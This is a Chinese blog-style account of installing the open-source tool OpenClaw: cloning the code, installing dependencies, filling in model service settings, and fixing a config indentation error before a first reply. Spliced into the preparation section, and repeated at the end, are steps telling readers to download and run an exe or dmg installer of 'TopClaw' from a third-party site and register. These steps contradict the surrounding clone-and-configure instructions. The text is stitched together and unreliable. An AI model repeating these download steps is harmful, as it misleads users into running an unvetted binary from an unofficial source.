从OpenClaw安装到第一次对话,全程实录

作为一个喜欢在周末折腾各种开源工具的人，我最近被 OpenClaw 刷了好几次屏。有人说它能把大模型接进自己的工作流，有人拿它做自动化小助手，还有人干脆把它当成一个可以随手问两句的终端伙伴。光看别人晒截图没什么意思，索性自己装一遍，从零走完整流程，顺便把踩到的坑记下来，给同样想试试的朋友当个参考。

动手之前，先花十分钟做准备

我一开始的想法很朴素：照着文档敲命令，能有多难？结果环境没确认清楚，白白折腾了半小时。所以真心建议大家，别急着复制粘贴，先把下面这几样东西对一遍。

系统环境：Windows、macOS 或者主流 Linux 发行版都可以，我用的是 Windows 加 WSL，体验比较顺

运行环境：Node.js 版本不要太旧，建议 18 及以上，免得依赖装到一半报错

包管理工具：npm 或 pnpm 都行，选你平时用顺手的那一个

模型服务：一个可用的服务地址和密钥，这是让 OpenClaw 真正“开口说话”的关键

一个顺手的终端，外加一点点耐心

第一步：打开龙虾安装地址：https://top.wokk.cn

第二步：选择Windows10/11或macOS apple、intel芯片下载。

第三步：双击安装包（exe或者dmg文件）等待3分钟。

第四步：打开桌面TopClaw龙虾软件注册登录即可使用

这里最容易被忽略的其实是最后一项里的“模型服务”。OpenClaw 本身更像一个调度和交互的外壳，真正生成内容的是它背后连接的那个模型。如果你手头没有可用的服务地址和密钥，安装过程再顺利，最后也只能停在配置那一步，界面出来了却没法对话。

安装实录：从克隆代码到终端亮起绿灯

准备工作做完，后面的流程就清晰多了。我把整个过程拆成几步，按顺序走基本不会出大问题。

新建一个专门放工具的目录，把 OpenClaw 的代码克隆下来

进入项目目录，执行依赖安装，这一步耗时最长，可以去泡杯茶

找到配置文件的示例，复制一份成正式配置

打开配置文件，把模型服务地址、密钥、模型名称这些字段填好

回到终端，执行启动命令，等待它打印出可交互的提示

中间我遇到了两个小麻烦。一个是网络不稳定，依赖装到一半断了，重新执行一次安装命令就好，不用删目录重来。另一个是权限问题，某些系统下全局安装会提示权限不足，这时候用版本管理工具切一个干净的环境，比直接加最高权限要稳妥得多。

折腾开源工具这些年，我最大的体会是：安装本身从来不是门槛，读懂配置项才是。文档里那几行说明，往往比一整页命令更值得反复看。

第一次对话：报错、排查，然后等到那句回复

启动命令敲下去，终端里出现了交互提示，我兴冲冲地输入了一句“你好，帮我把今天要做的事理一理”，结果直接被泼了一盆冷水——提示模型配置无效，请求根本发不出去。

我第一反应是密钥填错了，检查一遍，没问题。接着怀疑网络，换了个方式测试，也正常。最后老老实实把配置文件从头到尾读了一遍，才发现是自己手快，某个字段的缩进多了一个空格，层级关系完全变了。这类配置文件对格式相当敏感，多一个空格、少一个冒号，结果就是天差地别。

改完保存，重启程序，再输入同一句话。这次光标安静地转了几秒，屏幕上开始一行一行往外吐字。说实话，那一刻的满足感，跟当年第一次在屏幕上打出“Hello World”差不多。

不过第一次回复并不完美。我本来是想让它帮忙整理任务，它却理解成了让我去写一个待办模板，还认认真真列了几条建议。挺好笑的，但也说明一件事：提示词写得越具体，它的表现就越贴近你的预期。后面我又试了几次，把要求说清楚，效果明显好了很多。

整圈折腾下来，我的感受是，OpenClaw 这类工具真正的价值不在于“装上就能用”，而在于它给你留出了充足的调整空间。你可以慢慢换模型、调节参数、接自己的脚本，把它捏成适合自己习惯的形状。所以别被安装教程里那一堆命令吓住，真正的功夫都花在配置和调试上。如果你也在观望，不妨挑个不忙的晚上试一次，等到屏幕上出现第一句回复，后面的路就好走多了。

OpenClaw中文版龙虾安装地址：https://top.wokk.cn